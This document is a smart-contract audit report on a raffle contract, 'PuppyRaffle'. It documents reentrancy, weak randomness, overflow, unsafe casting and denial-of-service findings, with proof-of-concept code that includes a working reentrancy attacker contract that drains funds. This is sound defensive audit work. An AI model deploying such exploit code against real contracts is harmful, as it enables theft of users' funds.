

Puppy Raffle Audit Report

Version 1.0

Protocol Audit Report

palmcivet.eth

11 January 2024

Prepared by: palmcivet.eth

Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
 - Scope
 - Roles
- Executive Summary
 - Issues found
- · Findings
 - High
 - * [H-1] Reentrancy attack in PuppyRaffle::refund() means all funds can be stolen
 - * [H-2] Weak randomness in PuppyRaffle::selectWinner() is not truly random and can be exploited, meaning a participant can select themselves as the winner, and influence or predict the winning puppy
 - * [H-3] Integer overflow of PuppyRaffle::totalFees loses fees
 - Medium

- * [M-1] Looping through players array to check for duplicates in PuppyRaffle:: enterRaffle is a potential DoS (Denial of Service) attack, incrementing gas costs for future entrants
- * [M-2] Unsafe cast of PuppyRaffle:: fee loses fees
- * [M-3] Smart contract wallets raffle winners without a receive or fallback function will block the start of new contest
- Low
 - * [L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existence players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle
- Gas
 - * [G-1] Unchanged state variables should be declared constant or immutable
 - * [G-2] Storage variables in a loop should be cached
- Informational
 - * [I-1] Solidity pragma should be specific, not wide
 - * [I-2] Using an outdated version of Solidity is not recommended
 - * [I-3] Missing checks for address (0) when assigning values to address state variables
 - * [I-4] PuppyRaffle::selectWinner does not follow CEI, which is best practice
 - * [I-5] Use of "magic" numbers is discouraged
 - * [I-6] State changes are missing events
 - * [I-7] PuppyRaffle::_isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
 - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The palmcivet.eth team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

| | | Impact | | |
|------------|--------|--------|--------|-----|
| | | High | Medium | Low |
| | High | Н | H/M | М |
| Likelihood | Medium | H/M | М | M/L |
| | Low | М | M/L | L |

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
1 ./src/
2 #-- PuppyRaffle.sol
```

Roles

- Owner: The user who can set and read the password.
- Outsiders: No one else should be able to set or read the password.

Executive Summary

I enjoyed reviewing this project and learnt a lot about the process. Thanks, Patrick.

Issues found

| Severity | Number of issues found |
|---------------|------------------------|
| High | 3 |
| Medium | 3 |
| Low | 1 |
| Gas | 2 |
| Informational | 7 |
| Total | 16 |

Findings

High

[H-1] Reentrancy attack in PuppyRaffle::refund() means all funds can be stolen

Description: The PuppyRaffle::refund function does nto follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the PuppyRaffle::refund function, we first make an external call to the msg.sender address and only after making that external call do we update the PuppyRaffle::players array.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   equire(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
   require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

6 @> payable(msg.sender).sendValue(entranceFee);
   players[playerIndex] = address(0);
   emit RaffleRefunded(playerAddress);
}
```

A player who has entered the raffle could have a fallback/receive function that calls the PuppyRaffle::refund function again and claim another refund. They could continue the cycle until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

- 1. User enters the raffle
- 2. Attacker sets up a contract with a fallback/receive function that calls the PuppyRaffle :: refund
- 3. Attacker enters the raffle
- 4. Attacker calls PuppyRaffle::refund from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into PuppyRaffleTest.t.sol

```
function test_reentrancy_refund() public {
2
           address[] memory players = new address[](4);
3
           players[0] = player0ne;
4
           players[1] = playerTwo;
           players[2] = playerThree;
5
6
           players[3] = playerFour;
           puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
7
8
9
           ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10
           address attackUser = makeAddr("attackUser");
           vm.deal(attackUser, 1 ether);
12
           uint256 startingAttackContractBalance = address(
13
               attackerContract).balance;
14
           uint256 startingContractBalance = address(puppyRaffle).balance;
15
16
           vm.prank(attackUser);
           attackerContract.attack{value: entranceFee}();
17
18
           console.log("starting attacker contract balance: ",
               startingAttackContractBalance);
20
           console.log("starting contract balance: ",
               startingContractBalance);
21
           console.log("ending attacker contract balance: ", address(
               attackerContract).balance);
           console.log("ending contract balance: ", address(puppyRaffle).
23
               balance);
```

```
24 }
```

And this contract as well.

```
contract ReentrancyAttacker {
       PuppyRaffle puppyRaffle;
2
3
       uint256 entranceFee;
4
       uint256 attackerIndex;
5
6
       constructor(PuppyRaffle _puppyRaffle) {
           puppyRaffle = _puppyRaffle;
7
            entranceFee = puppyRaffle.entranceFee();
8
9
       }
10
11
       function attack() external payable {
12
           address[] memory players = new address[](1);
13
            players[0] = address(this);
14
           puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16
           attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
17
           puppyRaffle.refund(attackerIndex);
       }
18
19
20
       function _stealMoney() internal {
           if (address(puppyRaffle).balance >= entranceFee) {
21
                puppyRaffle.refund(attackerIndex);
           }
23
24
       }
25
26
       fallback() external payable {
27
            _stealMoney();
       }
28
29
       receive() external payable {
31
           _stealMoney();
32
       }
33 }
```

Recommended Mitigation: To prevent this, we should have the PuppyRaffle: : refund function update the players array before making the external call. Additionally, we should move the event emission up as well.

```
function refund(uint256 playerIndex) public {
   address playerAddress = players[playerIndex];
   equire(playerAddress == msg.sender, "PuppyRaffle: Only the player
        can refund");
   require(playerAddress != address(0), "PuppyRaffle: Player already
        refunded, or is not active");
}
```

```
6 - payable(msg.sender).sendValue(entranceFee);
7    players[playerIndex] = address(0);
8
9    emit RaffleRefunded(playerAddress);
10 + payable(msg.sender).sendValue(entranceFee);
11 }
```

[H-2] Weak randomness in PuppyRaffle:: selectWinner() is not truly random and can be exploited, meaning a participant can select themselves as the winner, and influence or predict the winning puppy

Description: Hashing msg.sender, block.timestamp, and block.difficulty together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call refund if they see they are not the winner.

Impact: Any user can influence the winner of the raffle, winning the money and selecting the winner of the rarest puppy, making the entire raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

- 1. Validators can know ahead of time the block.timestamp and block.difficulty, and use that to predict when/how to participate. See the solidity blog on prevrandao. block.difficulty was recently replaced with block.prevrandao.
- 2. Users can mine/manipulate their msg.sender value to result in their address being used to generate the winner.
- 3. Users can revert their selectWinner transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as Chainlink VRF.

[H-3] Integer overflow of PuppyRaffle::totalFees loses fees

Description: In solidity versions prior to 0.8.0 integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max
2 // 18446744073709551615
3 myVar = myVar + 1
4 // myVar will be 0
```

Impact: In PuppyRaffle::selectWinner, totalFees are accumulated for the feeAddress to collect later in PuppyRaffle::withdrawFees. However, if the totalFees variable overflows, the feeAddress may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. When we conclude a raffle of 4 players
- 2. We then have 89 players enter a new raffle, and conclude the raffle
- 3. totalFees will be:

4. You will not be able to withdraw, due to the line in PuppyRaffle::withdrawFees:

```
1 require(address(this).balance ==
2 uint256(totalFees), "PuppyRaffle: There are currently players active!
");
```

Although you could use selfdestruct to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point there will be too much balance in the contract, that the above require will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
2
           // We finish a raffle of 4 to collect some fees
           vm.warp(block.timestamp + duration + 1);
3
4
           vm.roll(block.number + 1);
5
           puppyRaffle.selectWinner();
           uint256 startingTotalFees = puppyRaffle.totalFees();
6
           // startingTotalFees = 800000000000000000
7
8
9
           // We then have 89 players enter a new raffle
10
           uint256 playersNum = 89;
11
           address[] memory players = new address[](playersNum);
12
           for (uint256 i = 0; i < playersNum; i++) {</pre>
13
               players[i] = address(i);
```

```
14
15
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
            // We end the raffle
16
           vm.warp(block.timestamp + duration + 1);
17
           vm.roll(block.number + 1);
19
20
           // And here is where the issue occurs
            // We will now have fewer fees even though we just finished a
21
               second raffle
           puppyRaffle.selectWinner();
23
           uint256 endingTotalFees = puppyRaffle.totalFees();
24
           console.log("ending total fees", endingTotalFees);
           assert(endingTotalFees < startingTotalFees);</pre>
27
28
           // We are also unable to withdraw any fees because of the
               require check
           vm.prank(puppyRaffle.feeAddress());
           vm.expectRevert("PuppyRaffle: There are currently players
               active!");
            puppyRaffle.withdrawFees();
       }
32
```

Recommended Mitigation: There a few possible mitigations.

- 1. Use a newer version of Solidity, and a uint256 instead of uint64 for PuppyRaffle:: totalFees
- 2. You could also use the SafeMath library from OpenZeppelin for version 0.7.6 of Solidity, however you would still have a hard time with the uint64 type if too many fees are collected.
- 3. Remove the balance check from PuppyRaffle::withdrawFees

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in PuppyRaffle::enterRaffle is a potential DoS (Denial of Service) attack, incrementing gas costs for future entrants

Description: The PuppyRaffle::enterRaffle function loops through the players array to check for duplicates. However, the longer the PuppyRaffle::players array is, the more checks

a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the players array is an additional check the loop will have to make.

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in the queue.

An attacker might make the PuppyRaffle::players array so big, that noone else enters, guaranteeing themselves the win.

Proof of Concept: If we have 2 sets of 100 players enter, the gas costs will be as such:

- 1st 100 players: ~6252039gas
- 2nd 100 players: ~18068129gas

This is more than 3x more expensive for the second 100 players.

PoC

Place the following test into PuppyRaffleTest.t.sol.

```
function test_denialOfService() public {
2
           vm.txGasPrice(1);
3
4
           uint256 playersNum = 100;
5
           address[] memory players = new address[](playersNum);
6
           for (uint256 i = 0; i < playersNum; i++) {</pre>
               players[i] = address(i);
7
           }
8
9
10
           // see how much gas it costs
           uint256 gasStart = gasleft();
11
12
           puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               players);
13
           uint256 gasEnd = gasleft();
14
15
           uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
           console.log("Gas cost of the first 100 players: ", gasUsedFirst
16
               );
17
18
           // now for the 2nd 100 players
19
           address[] memory playersTwo = new address[](playersNum);
```

```
20
            for (uint256 i = 0; i < playersNum; i++) {</pre>
21
                playersTwo[i] = address(i + playersNum);
22
            }
23
24
            // see how much gas it costs
25
            uint256 gasStartSecond = gasleft();
26
            puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
               playersTwo);
27
            uint256 gasEndSecond = gasleft();
28
            uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
               gasprice;
            console.log("Gas cost of the second 100 players: ",
               gasUsedSecond);
31
32
            assert(gasUsedFirst < gasUsedSecond);</pre>
       }
```

Recommended Mitigation: There are a few recommendations.

- 1. Consider allowing duplicates. Users can make new wallet addresses anyway, so a duplicate check doesn't prevent the same person entering multiple times, only the same wallet address. To prevent the same person entering multiple times you will need to integrate Everest.org, a sybil resistant, identity provider.
- 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
1 + mapping
2 - loop
```

3. Alternatively you could use OpenZeppelin's EnumerableSet library.

[M-2] Unsafe cast of PuppyRaffle:: fee loses fees

Description: In PuppyRaffle::selectWinner their is a type cast of a uint256 to a uint64. This is an unsafe cast, and if the uint256 is larger than type (uint64).max, the value will be truncated.

```
address winner = players[winnerIndex];
uint256 fee = totalFees / 10;
uint256 winnings = address(this).balance - fee;
totalFees = totalFees + uint64(fee);
players = new address[](0);
emit RaffleWinner(winner, winnings);
```

The max value of a uint64 is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the fee casting will truncate the value.

Impact: This means the feeAddress will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

- 1. A raffle proceeds with a little more than 18 ETH worth of fees collected
- 2. The line that casts the fee as a uint64 hits
- 3. totalFees is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1 uint256 max = type(uint64).max
2 uint256 fee = max + 1
3 uint64(fee)
4 // prints 0
```

Recommended Mitigation: Set PuppyRaffle::totalFees to a uint256 instead of a uint64, and remove the casting. Their is a comment which says:

```
1 // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
uint64 public totalFees = 0;
1 -
2 +
       uint256 public totalFees = 0;
3
4
5 .
       function selectWinner() external {
6
           require(block.timestamp >= raffleStartTime + raffleDuration, "
7
              PuppyRaffle: Raffle not over");
8
           require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
9
           uint256 winnerIndex =
               uint256(keccak256(abi.encodePacked(msg.sender, block.
10
                  timestamp, block.difficulty))) % players.length;
11
           address winner = players[winnerIndex];
           uint256 totalAmountCollected = players.length * entranceFee;
```

Protocol Audit Report

```
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a receive or fallback function will block the start of new contest

Description: The PuppyRaffle::selectWinner function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the selectWinner function again and non-smartcontract wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The PuppyRaffle::selectWinner function could revert many times making a lottery reset difficult.

Also true winners would not get paid out and someone else could take their money.

Proof of Concept:

- 1. 10 smart contract wallets enter the lottery without a fallback or receive function
- 2. The lottery ends
- 3. The selectWinner function wouldn't work, even though the lottery is over

Recommended Mitigation: There are a few options to mitigate this issue.

- 1. Do no allow smart contract wallet entrants (not recommended)
- 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the responsibility on the winner to claim their prize (recommended)

Low

[L-1] PuppyRaffle::getActivePlayerIndex returns 0 for non-existence players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the PuppyRaffle::players array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
1 /// @return the index of the player in the array, if they are not
    active, it returns 0
2 function getActivePlayerIndex(address player) external view returns (
        uint256) {
3    for (uint256 i = 0; i < players.length; i++) {
4        if (players[i] == player) {
5            return i;
6        }
7    }
8    return 0;
9 }</pre>
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

- 1. User enters the raffle, they are the first entrant
- 2. PuppyRaffle::getActivePlayerIndex returns 0
- 3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an int256 where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances:

- PuppyRaffle::raffleDuration should be immutable
- PuppyRaffle::commonImageUri should be constant
- PuppyRaffle::rareImageUri should be constant
- PuppyRaffle::legendaryImageUri should be constant

[G-2] Storage variables in a loop should be cached

Everytime you call players.length you read from storage, as opposed to memory which is more gas efficient.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of pragma solidity ^0.8.0; use pragma solidity 0.8.0;

• Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of Solidity is not recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation: Deploy with any of the following Solidity versions:

0.8.18

The recommendations take into account:

- Risks related to recent releases
- Risks of complex code generation changes
- Risks of new language features
- Risks of known bugs

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please see slither

[I-3] Missing checks for address (0) when assigning values to address state variables

Assigning values to address state variables without checking for address (0).

• Found in src/PuppyRaffle.sol Line: 71

```
feeAddress = _feeAddress;
```

• Found in src/PuppyRaffle.sol Line: 194

```
previousWinner = winner;
```

• Found in src/PuppyRaffle.sol Line: 224

```
feeAddress = newFeeAddress;
```

[I-4] PuppyRaffle::selectWinner does not follow CEI, which is best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions)

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:

```
uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
uint256 public constant FEE_PERCENTAGE = 20;
uint256 public constant PRIZE_POOL_PRECISION = 100;
```

[I-6] State changes are missing events

Everytime there is a state change, it is recommended that an event be emitted.

[I-7] PuppyRaffle::_isActivePlayer is never used and should be removed

This code is never used so it can be removed to save on gas.

```
function _isActivePlayer() internal view returns (bool) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == msg.sender) {
            return true;
        }
    }
    return false;
}</pre>
```